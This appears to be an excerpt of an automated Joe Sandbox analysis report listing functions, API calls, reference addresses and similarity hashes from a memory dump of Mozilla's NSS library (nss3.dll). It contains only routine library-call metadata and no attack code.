String ID: ppFunctionList = 0x%p$C_GetFunctionList
API String ID: 1907330108-525396629
Opcode ID: b9977e59e8814a5bb4147a50cd05fd381cb70a43954a50679b9b70364630c035
Instruction ID: 761782323507b021445dad00990ddf21e0fab6bd05d3d25faef1971ee5cd5467
Opcode Fuzzy Hash: b9977e59e8814a5bb4147a50cd05fd381cb70a43954a50679b9b70364630c035
Instruction Fuzzy Hash: 7F01D276704285DFCB10EB58DB4F75933B0E78B329F244469E40593A11DB349549CB92

Function 6C7C8850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C7D0715), ref: 6C7C8859
PR_NewLock.NSS3 ref: 6C7C8874

Part of subcall function 6C8798D0: calloc.MOZGLUE(00000001,00000084,6C7A0936,00000001,?,6C7A102C), ref: 6C8798E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C7C888D

Strings

NSS, xrefs: 6C7C8887

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: a6f60b565f5e78d8a5b3daf540a8837903e2035a1f0620ea31b6dc4c194e19bc
Instruction ID: 3a0c594e35772804b926c942f8964f0930281bb4212c6f2755da03ef26f007da
Opcode Fuzzy Hash: a6f60b565f5e78d8a5b3daf540a8837903e2035a1f0620ea31b6dc4c194e19bc
Instruction Fuzzy Hash: 55F0F662F412222BF26012696E0AB8674D89F5175EF040035E90CA7F82EB51950882F3

Function 6C7F0630 Relevance: 6.1, APIs: 4, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7F1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C7F563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C7F195C
Part of subcall function 6C7F1940: EnterCriticalSection.KERNEL32(?,?,6C7F563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C7CEAC5,00000001), ref: 6C7F1970
Part of subcall function 6C7F1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C7CEAC5,00000001,?,6C7CCE9B,00000001,6C7CEAC5), ref: 6C7F19A0

PORT_Alloc_Util.NSS3(00000000,?,?,?,?,?,?,00000000,?,00000009), ref: 6C7F0678

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,?,00000009), ref: 6C7F06E6
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C7F0770

Part of subcall function 6C7F1EA0: PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6C7D6295,?,00000000,00000000,00000001,6C7F2653,?), ref: 6C7F1ECB

free.MOZGLUE(?), ref: 6C7F0787

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error$Value$Alloc_CriticalEnterSectionUnlockUtilfreemalloc
String ID:
API String ID: 1159529522-0
Opcode ID: 0a068ccf72912f0bb85dd753d50a130a5e3096c51eaa820267ff627c0910f5a2
Instruction ID: 953e3dfccfd397609b126af08139e13b8d8e4d62af7ed970901ed36fa83c95f4
Opcode Fuzzy Hash: 0a068ccf72912f0bb85dd753d50a130a5e3096c51eaa820267ff627c0910f5a2
Instruction Fuzzy Hash: 034137B1D002459BDB10DF689DC4EAF3BA8AF85354F240538E92997701EB31E916CBF1

Function 6C8C8530 Relevance: 6.1, APIs: 4, Instructions: 127threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C9114E4,6C87CC70), ref: 6C8C8569
gethostbyaddr.WSOCK32(?,00000004,00000002), ref: 6C8C85AD
GetLastError.KERNEL32(?,00000004,00000002), ref: 6C8C85B6
PR_GetCurrentThread.NSS3(?,00000004,00000002), ref: 6C8C85C6

Part of subcall function 6C7A0F00: PR_GetPageSize.NSS3(6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F1B
Part of subcall function 6C7A0F00: PR_NewLogModule.NSS3(clock,6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F25

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CallCurrentErrorLastModuleOncePageSizeThreadgethostbyaddr
String ID:
API String ID: 4254312643-0
Opcode ID: 00da14748bd10dd972d0afb7007e58d852ff7078862f83c3e1863340b793275c
Instruction ID: bc84fa4f79466b70da7ee634126917ee4094e60e041a2408734c4668459cfeed
Opcode Fuzzy Hash: 00da14748bd10dd972d0afb7007e58d852ff7078862f83c3e1863340b793275c
Instruction Fuzzy Hash: 5D41B4B0B48256ABE7348B25CA48755B7B5AB4532CF084B2BC91543EC1E7B4DD84CBD2

Function 6C874FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C7585D2,00000000,?,?), ref: 6C874FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C87500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8750C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8750D6

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: e3d66c3b9d8e9813c0de56b96cfe5a11c8811df0054303c4692e150e1c86dc59
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 1E4142B2A402158BCB28CF18DCD179AB7E1BF4431871D4A69D84ACBB02F775E891CB91

Function 6C800420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6C7EC97F,?,?,?), ref: 6C8004BF
TlsGetValue.KERNEL32(00000000,?,6C7EC97F,?,?,?), ref: 6C8004F4
EnterCriticalSection.KERNEL32(?,?,?,6C7EC97F,?,?,?), ref: 6C80050D
PR_Unlock.NSS3(?,?,?,?,6C7EC97F,?,?,?), ref: 6C800556

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: 93499acd2e9b7491d6c6528d913784ae36eeb2a66e758c2cc17d7ae94968f92c
Instruction ID: bafc62b85f145fa7b0375f37a0023672fee16f88bd3d0c1d0b19d983e521c601
Opcode Fuzzy Hash: 93499acd2e9b7491d6c6528d913784ae36eeb2a66e758c2cc17d7ae94968f92c
Instruction Fuzzy Hash: AC416D70B05646CFDB24DF29CA44669BBF4FF44318F24896DD8A99BB01D730E891CB80

Function 6C7B6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C7B6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C7B6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C7B6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C8D8FE0), ref: 6C7B6CFE

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: dfa3f4f672d9f91e46b6eab58800566151868d8b333c76fc4ccc63f681fe3cc5
Instruction ID: c3be06367392b5a86f313ce62ae3f0f6a9f2ec07384263ff62c0f98f3ad5e3cb
Opcode Fuzzy Hash: dfa3f4f672d9f91e46b6eab58800566151868d8b333c76fc4ccc63f681fe3cc5
Instruction Fuzzy Hash: B93181B1A002169FEB08CF65C991ABFBBF5EF45248F14453DDA05E7700EB31A905CBA0

Function 6C8C4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C8C4F5D
free.MOZGLUE(?), ref: 6C8C4F74
free.MOZGLUE(?), ref: 6C8C4F82
GetLastError.KERNEL32 ref: 6C8C4F90

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: fc7eb40923e51a1310ae9878a39d703b8b223f2b07040eb7947a90521bebb45d
Instruction ID: 9aae96e34e758e539d0f524b0c804a72f657b17ae071d5a4e8486ef8ced60b07
Opcode Fuzzy Hash: fc7eb40923e51a1310ae9878a39d703b8b223f2b07040eb7947a90521bebb45d
Instruction Fuzzy Hash: B9313775B042094BEB11CB69DD85BEEB3B8EFC5348F040629E815A7681EB34D90486A2

Function 6C826DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C826E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C826E57

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C826E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C826EAA

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: f4cea8eec73871783c0e4fbd168af015c9ea23ce2157dd04f42ffd2035ef81b6
Instruction ID: 3b402dcc25921ba47a2f4397c6b34a57131c704fbc274ab2b5cd31d042a7a7e5
Opcode Fuzzy Hash: f4cea8eec73871783c0e4fbd168af015c9ea23ce2157dd04f42ffd2035ef81b6
Instruction Fuzzy Hash: DC31CE79610656EBDB341E34CE09396B7A4AB0131AF340E3CD89AD2A80EB347494CBC1

Function 6C818530 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,6C8172EC), ref: 6C81855A

Part of subcall function 6C8107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C7B8298,?,?,?,6C7AFCE5,?), ref: 6C8107BF
Part of subcall function 6C8107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C8107E6
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C81081B
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C810825

PORT_ArenaGrow_Util.NSS3(?,00000000,?,00000001,?,?,6C8172EC), ref: 6C81859E
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C8172EC), ref: 6C8185B8
PR_SetError.NSS3(FFFFE005,00000000,?,6C8172EC), ref: 6C818600

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ErrorUtil$ArenaHashLookupTable$Alloc_ConstFindGrow_
String ID:
API String ID: 1727503455-0
Opcode ID: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction ID: 0b2b811c91f6ba2cc3b45e4d161d1d37136a26ff83435fb44e8e23a5bb6efbf0
Opcode Fuzzy Hash: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction Fuzzy Hash: A1210531A042174BE7208F2DDE41BAB72E9EF8131CF664A3AD865C7F40EB31D8058791

Function 6C822880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C822896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C822932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C82294C
free.MOZGLUE(?), ref: 6C822955

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 598148a6420f0969d386f40aca8f065d58ca2be3ac10c250c87e3d3551864b58
Instruction ID: 1135c839e869ba11c755f1737ce69ff782c8abe7a9c8fbd6c158aab1dc9840b3
Opcode Fuzzy Hash: 598148a6420f0969d386f40aca8f065d58ca2be3ac10c250c87e3d3551864b58
Instruction Fuzzy Hash: D621A3B56106009BE7309A2ADE0DF4776E5EF84368F040D38E48987A61EB39E498C791

Function 6C85A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C842AE9,00000000,0000065C), ref: 6C85A91D

Part of subcall function 6C7FADC0: TlsGetValue.KERNEL32(?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE10
Part of subcall function 6C7FADC0: EnterCriticalSection.KERNEL32(?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE24
Part of subcall function 6C7FADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C7DD079,00000000,00000001), ref: 6C7FAE5A
Part of subcall function 6C7FADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE6F
Part of subcall function 6C7FADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE7F
Part of subcall function 6C7FADC0: TlsGetValue.KERNEL32(?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAEB1
Part of subcall function 6C7FADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C842AE9,00000000,0000065C), ref: 6C85A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6C842AE9,00000000,0000065C), ref: 6C85A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6C85A952

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: c49e0babca0b4dc27b38a954672c92eea0831103c63101886c22bf650cf9269e
Instruction ID: 2fa2a89d0e70aa5ecd3b57c7596f4563549bc6039d239ceca84e533142761ea8
Opcode Fuzzy Hash: c49e0babca0b4dc27b38a954672c92eea0831103c63101886c22bf650cf9269e
Instruction Fuzzy Hash: 573159F46012119FDB04CF18DAD4EA2BBE8FF48318B5585A9E8198B756E770F811CBB1

Function 6C7F4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C7FB60F,00000000), ref: 6C7F5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C7FB60F,00000000), ref: 6C7F501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C7FB60F,00000000), ref: 6C7F504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C7FB60F,00000000), ref: 6C7F5064

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 0d5ccbc86c9534f2f70e7aec3847c327c9438a5f68b6516ed2539b91f47888cd
Instruction ID: 69a019d4658415b80b0e44fef46a942d06c3b1e3db8c11f94e37eb1c0e0ceaa5
Opcode Fuzzy Hash: 0d5ccbc86c9534f2f70e7aec3847c327c9438a5f68b6516ed2539b91f47888cd
Instruction Fuzzy Hash: D53116B0A05606CFDB40EF78D58466ABBF4FF09304B148929D86997700E730E995CB92

Function 6C804590 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000008,?,6C80473B,00000000,?,6C7F7A4F,?), ref: 6C80459B

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

TlsGetValue.KERNEL32(?,?,6C80473B,00000000,?,6C7F7A4F,?), ref: 6C8045BF
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C80473B,00000000,?,6C7F7A4F,?), ref: 6C8045D3
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C80473B,00000000,?,6C7F7A4F,?), ref: 6C8045E8

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$Alloc_CriticalEnterSectionUnlockUtilmalloc
String ID:
API String ID: 2963671366-0
Opcode ID: 0378a3242fe09d076b501eca90392954ce279160820ee8366d4b19361eb92a29
Instruction ID: ff5411ad34f92f79a912f34048c1884c3a0624c398db57f76fbb8c7f0e3a792e
Opcode Fuzzy Hash: 0378a3242fe09d076b501eca90392954ce279160820ee8366d4b19361eb92a29
Instruction Fuzzy Hash: E72145B0B00606AFEB109F69DE0556ABBB4FF99309F004939E818C7B10F731E964CB91

Function 6C822DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C822E08

Part of subcall function 6C8114C0: TlsGetValue.KERNEL32 ref: 6C8114E0
Part of subcall function 6C8114C0: EnterCriticalSection.KERNEL32 ref: 6C8114F5
Part of subcall function 6C8114C0: PR_Unlock.NSS3 ref: 6C81150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C822E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C822E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C822E95

Part of subcall function 6C811200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7B88A4,00000000,00000000), ref: 6C811228
Part of subcall function 6C811200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C811238
Part of subcall function 6C811200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7B88A4,00000000,00000000), ref: 6C81124B
Part of subcall function 6C811200: PR_CallOnce.NSS3(6C912AA4,6C8112D0,00000000,00000000,00000000,?,6C7B88A4,00000000,00000000), ref: 6C81125D
Part of subcall function 6C811200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C81126F
Part of subcall function 6C811200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C811280
Part of subcall function 6C811200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C81128E
Part of subcall function 6C811200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C81129A
